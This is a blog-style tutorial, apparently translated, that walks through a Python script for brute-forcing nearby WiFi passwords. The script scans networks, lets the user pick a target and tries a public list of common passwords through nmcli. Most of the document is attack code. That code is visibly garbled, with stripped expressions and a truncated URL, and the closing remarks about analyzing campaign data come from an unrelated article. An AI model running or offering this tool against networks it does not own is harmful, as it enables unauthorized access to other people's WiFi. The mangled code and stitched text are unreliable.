web123456

Unlocking WiFi passwords, I used only 60 lines of code ....

Programmer's Treasure TroveGitHub - Jackpopc/CS-Books-Store: All the classic computer books you want, here!

WiFi is now in every aspect of our lives, and nowadays, you can connect to WiFi everywhere, such as at your workplace, a rented house, or a restaurant.

As a result, our need for WiFi passwords is not as urgent as it was before.

How to crack WiFi password?

In this article, we will teach you how to implement it through Python, and this is purely for learning purposes.

1. WiFi list

First, we need to get a list of nearby WiFi.

Below, write a function to get a list of nearby WiFi's, the function is nameddisplay_targets

def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = ('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
                calc = int(columns)-int(width)
        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

Here, we'll use thessidToolkit to get a list of nearby WiFi to deposit into the parameternetworks

img

2. Selection of WiFi

After getting the WiFi list, the next thing to do is to select the WiFi we want to connect to.

def prompt_for_target_choice(max):
    whileTrue:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e
​
        print("Invalid choice: Please pick a number between 1 and " + str(max))

It's pretty simple here, just some general Python functions.

3. Violent breakthroughs

Now that you have acquired and selected the WiFi you want to connect to, how do you get its password?

A more common approach is going to be used here:brute force solution

Here, it is important to use theGithubFor the last project, it collected 100,000 of the most commonly used WiFi passwords. We just use the 100,000 passwords to violently unlock WiFi.

def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = ()
​
        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = ("utf-8")
            
        if  isTrue:
            print(+"** TESTING **: with password '" +
                decoded_line+"'"+)
​
        if (len(decoded_line) >= 8):
            (3)
​
            creds = ("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)
​
            if ("Error:"in ()):
                if  isTrue:
                    print(+"** TESTING **: password '" +
                        decoded_line+"' failed."+)
            else:
                (+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+)
        else:
            if  isTrue:
                print(+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+)
​
    print(+"** RESULTS **: All passwords failed :("+)

The core functionality is done in 3 functions, using only the60 rows.Python code!

Here's how to string them together:

def main():
    require_root()
    args = argument_parser()
​
    # The user chose to supplied their own url
    if  isnotNone:
        passwords = fetch_password_from_url()
    # user elect to read passwords form a file
    elif  isnotNone:
        file = open(, "r")
        passwords = ()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        ()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "/danielmiessler/SecLists/master/Passwords/Common-Credentials/"
        passwords = fetch_password_from_url(default_url)
​
    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        (-1)
​
    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
​
    brute_force(target, passwords, args)

Executing the function will display a list of nearby WiFi at the command line, and after selecting it, it will start trying the passwords one by one.

img

Different colors represent different different results:

  • red (color): Test Failure

  • greener: Cracking Success

  • violet (color): Under test

Now, isn't it true that you find this seemingly complicated thing much simpler?

concluding remarks

The campaign is full of data of different dimensions, and the above is just a list of some of the dimensions that I am personally interested in analyzing and visualizing.

Hopefully, it will inspire you to be able to uncover more valuable and interesting information and get the best practices in learning and having fun.

Hello, I'm Jackpop! I've spent the last half a month putting together a collection of various tech duds I've collected over the last few years, which includes, but is not limited to, Python,machine learningdeep learning, computer vision, recommender systems, Linux, engineering, Java, and up to 5T+ of content, get it:Technical Dry Goods_Free high-speed download | Baidu.com - Share without Limits(Extraction code: 0000)